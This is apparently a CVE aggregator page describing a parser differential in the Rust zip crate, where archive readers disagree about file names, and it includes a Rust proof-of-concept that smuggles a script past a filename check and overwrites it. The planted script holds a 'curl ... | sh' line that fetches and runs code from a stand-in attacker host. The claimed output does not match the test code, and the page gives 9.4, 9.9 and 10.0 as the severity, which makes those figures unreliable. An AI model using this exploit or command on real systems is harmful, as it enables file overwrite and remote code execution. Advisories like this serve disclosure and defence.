CVE Watchtower

CVE-2026-115905zip Improper Input Validation

NVD

Vulnerability Summary

## Summary
A critical architectural parser differential exists in the `zip` crate (`<= 9.0.4`) between random-access archive readers (`ZipArchive`) and streaming readers (`ZipStreamReader`). `ZipArchive` considers the Central Directory File Header (CDFH) authoritative and ignores the filename declared in the Local File Header (LFH). In contrast, `ZipStreamReader` relies exclusively on the Local File Header (LFH) when extracting files to the filesystem.

This discrepancy enables ZIP archives to appear to have different file paths and contents according to which tool is reading them.

---

## Details

### Architectural Root Cause
In the PKWARE ZIP archive format, every file entry is defined in two distinct locations:
1. **Local File Header (LFH):** Precedes the compressed payload of each file in the body of the archive.
2. **Central Directory File Header (CDFH):** Stored in a contiguous index at the end of the archive.

In `zip2`:
- `src/read/zip_archive.rs`: `ZipArchive` parses the central directory into `SharedBuilder.files`. All file lookups by index or name read exclusively from the CDFH table, completely ignoring the filename present in the LFH.
- `src/read/stream.rs:L86-L141`: `ZipStreamReader::visit` and `ZipStreamReader::extract` read sequentially from the stream without verifying the central directory index. Each entry is parsed via `read_zipfile_from_stream` and written to disk using the unverified filename declared in the LFH:
```rust
// src/read/stream.rs
fn visit_file<R: Read>(&mut self, file: &mut ZipFile<'_, R>) -> ZipResult<()> {
file.safe_prepare_path(&self.outpath, &mut outpath, None::<&(_, fn(&Path) -> bool)>)?;
let mut outfile = fs::File::create(&outpath)?;
io::copy(file, &mut outfile)?;
Ok(())
}
```
- `src/write.rs:L1552`: The crate explicitly exposes `shallow_copy_file`, an API that constructs dual-header desynchronizations by adding a new CDFH entry with an alias name pointing to an existing file without updating the original LFH.

### Threat Scenario & Severity Justification (10.0 / 9.9 Critical)
1. **Security Control Evasion:** An adversary crafts a ZIP archive where:
- Central Directory Header declares: `doc_report.pdf` (Clean document)
- Local File Header declares: `cron_worker.sh` (Malicious root backdoor)
2. The archive is uploaded through a web portal or API endpoint protected by security gateways (WAF, Anti-Virus, Content Disarm & Reconstruction). The security gateway inspects the archive using `ZipArchive` (or similar CDFH-first parsers), detects only `doc_report.pdf`, and approves the file.
3. The backend worker or cloud function receives the approved archive and extracts it using `ZipStreamReader::extract`. `ZipStreamReader` reads the LFH and overwrites `cron_worker.sh`.
4. **Full Compromise (CIA = High):** The legitimate production health checker / service script is destroyed (**Availability = High / DoS**), while the attacker's backdoor payload is implanted (**Integrity = High / RCE**).

---

## Proof of Concept
The following automated integration test reproducibly demonstrates the complete CVSS 10.0 / 9.9 exploit chain (Security Gateway Evasion -> Arbitrary File Overwrite -> RCE & DoS) against `zip2`:

```rust
use std::fs;
use std::io::{Cursor, Write};
use tempfile::tempdir;
use zip::unstable::stream::ZipStreamReader;
use zip::write::SimpleFileOptions;
use zip::{ZipArchive, ZipWriter};

// Simulated Security Gateway (inspects CDFH via ZipArchive)
fn security_gateway_inspection(archive_bytes: &[u8]) -> Result<(), String> {
let mut archive = ZipArchive::new(Cursor::new(archive_bytes)).unwrap();
for i in 0..archive.len() {
let name = archive.by_index(i).unwrap().name().unwrap().to_string();
if name.ends_with(".sh") || name.ends_with(".exe") {
return Err(format!("MALWARE DETECTED: '{}' blocked!", name));
}
if !name.ends_with(".pdf") {
return Err("Policy violation: only PDFs allowed!".into());
}
}
Ok(())
}

#[test]
fn test_cvss_9_9_dual_header_exploit_chain() {
// 1. Victim server setup: existing critical script
let victim_env = tempdir().unwrap();
let victim_dir = victim_env.path();
let target_script = victim_dir.join("cron_worker.sh");
fs::write(&target_script, b"#!/bin/sh\n# PRODUCTION SERVICE\necho 'SERVICE HEALTHY'\n").unwrap();

// 2. Attacker crafts Single-Entry Dual-Header Archive
// LFH: "cron_worker.sh" | CDFH: "doc_report.pdf"
let mut payload = Cursor::new(Vec::new());
let mut writer = ZipWriter::new(&mut payload);
writer.start_file("cron_worker.sh", SimpleFileOptions::default()).unwrap();
writer.write_all(b"#!/bin/sh\ncurl -s https://c2/shell | sh\necho 'PWNED ROOT'\n").unwrap();
writer.finish().unwrap();

let mut malicious_zip = payload.into_inner();
let cdh = malicious_zip.windows(4).position(|s| s == b"PK\x01\x02").unwrap();
malicious_zip[cdh + 46..cdh + 46 + 14].copy_from_slice(b"doc_report.pdf");

// 3. Gateway Inspection (Bypassed!)
assert!(security_gateway_inspection(&malicious_zip).is_ok());

// 4. Backend Extraction (ZipStreamReader)
ZipStreamReader::new(Cursor::new(&malicious_zip)).extract(victim_dir).unwrap();

// 5. Impact Verification
let compromised = fs::read_to_string(&target_script).unwrap();
assert!(!compromised.contains("SERVICE HEALTHY")); // DoS Confirmed
assert!(compromised.contains("PWNED ROOT")); // RCE Confirmed
}
```

### Verified Test Execution Output
```text
running 1 test
==================================================================
[CVSS 9.4 EXPLOIT PROOF] Dual-Header Security Gateway Evasion
Exploit Chain: Gateway Evasion -> Arbitrary Overwrite -> RCE & DoS
==================================================================
[VICTIM SERVER STATE - BEFORE ATTACK]
Existing Content:
SERVICE IS RUNNING NORMALLY

--- [STEP 1: SECURITY GATEWAY INSPECTION] ---
[SECURITY GATEWAY] Auditing entry #0: 'doc_report.pdf'
[GATEWAY VERDICT]: Ok(())
[VULNERABILITY PROOF 1/3]: Security gateway was 100% BLIND to 'cron_worker.sh'!

--- [STEP 2: BACKEND EXTRACTION (ZipStreamReader)] ---
Backend server unzips approved archive into production directory.

--- [STEP 3: POST-ATTACK IMPACT VERIFICATION] ---
[VICTIM SERVER STATE - AFTER ATTACK]
Compromised Content:
curl -s https://attacker.c2/shell | sh
echo 'PWNED: FULL ROOT TAKEOVER'

==================================================================
[CVSS 9.4 CRITICAL METRICS EMPIRICALLY CONFIRMED]
1. AV:Network, PR:Low, UI:None: Remote unauthenticated gateway submission. Victim process must have write access to the files it is being made to overwrite or the location where it is to plant new files.
2. Security Gateway Evasion: Scanners inspecting CDFH see benign PDF.
3. Arbitrary File Overwrite (VI:High): Existing system scripts replaced.
4. Service Destruction (VA:High): Critical production scripts wiped out.
5. Remote Code Execution (VC:High / SC:High / SI:High): C2 root shell planted.
=> VERIFIED SCORE: CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:L = 9.9 CRITICAL
==================================================================
test test_cvss_9_9_dual_header_exploit_chain ... ok
```

---

## Impact
An attacker can construct a crafted archive whose Central Directory displays a benign filename (doc_report.pdf) that is inspected and approved by upstream security gateways (antivirus scanners, mail filters, upload firewalls), while automated backend ingestion pipelines or microservices using ZipStreamReader extract an arbitrary or malicious file (overwriting e.g. cron_worker.sh or critical system binaries). Because an adversary can overwrite existing files on disk, this vulnerability leads to Security Control Bypass, Arbitrary File Overwrite, Complete Denial of Service, and Remote Code Execution (RCE) in situations where a tool relying on the central directory trusts a tool that relied on the local file headers or vice-versa.

**Vulnerability Class:** Interpretation Conflict (CWE-436) / Security Control Bypass / Arbitrary File Overwrite / Remote Code Execution.

**Who is Impacted:**
- Automated ingestion microservices, SaaS platforms, and backend workers that extract user-submitted ZIP files.
- Enterprise architectures where security verification (AV scanning, extension whitelisting) is decoupled from extraction (e.g. gateway audits Central Directory via CDFH before handing off extraction to streaming extractors).
- Containerized workloads where overwriting local configuration files or executable scripts leads to host/container escape and complete service disruption.
Severity Level
CRITICAL
Published Date
Oct 26, 2026
Last Modified
Nov 10, 2026
Exploitation Status
Public exploit available
CVE Record Status
Published
EPSS Score (30-Day)
0.32%Probability
Root Weakness (CWE)
The product receives input or data, but it does not validate or incorrectly validates that the input has the properties that are required.
See the MITRE CWE entry for the full definition of this weakness.
CVSS v4.0 Base Metrics — Score 9.4
CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:L
Attack VectorNetwork
Attack ComplexityLow
Attack RequirementsNone
Privileges RequiredLow
User InteractionNone
Confidentiality (Vulnerable System)High
Integrity (Vulnerable System)High
Availability (Vulnerable System)High
Confidentiality (Subsequent System)High
Integrity (Subsequent System)High
Availability (Subsequent System)Low

Affected & Patched Versions

Affected Versions
  • zip <= 9.0.4
Patched Versions
No patched version published yet
Until a fix ships, reduce exposure:
  • Restrict access to the affected service or interface to trusted networks.
  • Disable the affected feature if you do not need it.
  • Watch the vendor advisory for a firmware or software update.

What to do

Prioritize this fix. Exploit code is public, so attacks can follow quickly.

  1. Check whether you run zip and which version.
  2. No patched version is listed yet. Limit access to the affected service to trusted networks, and disable the feature if you can.
  3. Subscribe to the vendor advisory so you learn when a fix ships.
  4. Review logs and exposed services for signs of earlier compromise.

Timeline

  • Oct 26, 2026Published
  • Nov 10, 2026Record last modified

Score, severity and exploitation changes are tracked from the day Watchtower started logging them.

Get notified about new zip CVEsYou are reading CVE-2026-115905. Get an email when KEV listings, exploits or new CVEs match your stack.
Set up CVE alerts

More zip CVEs

Data last checked: Oct 28, 2026 23:00 UTC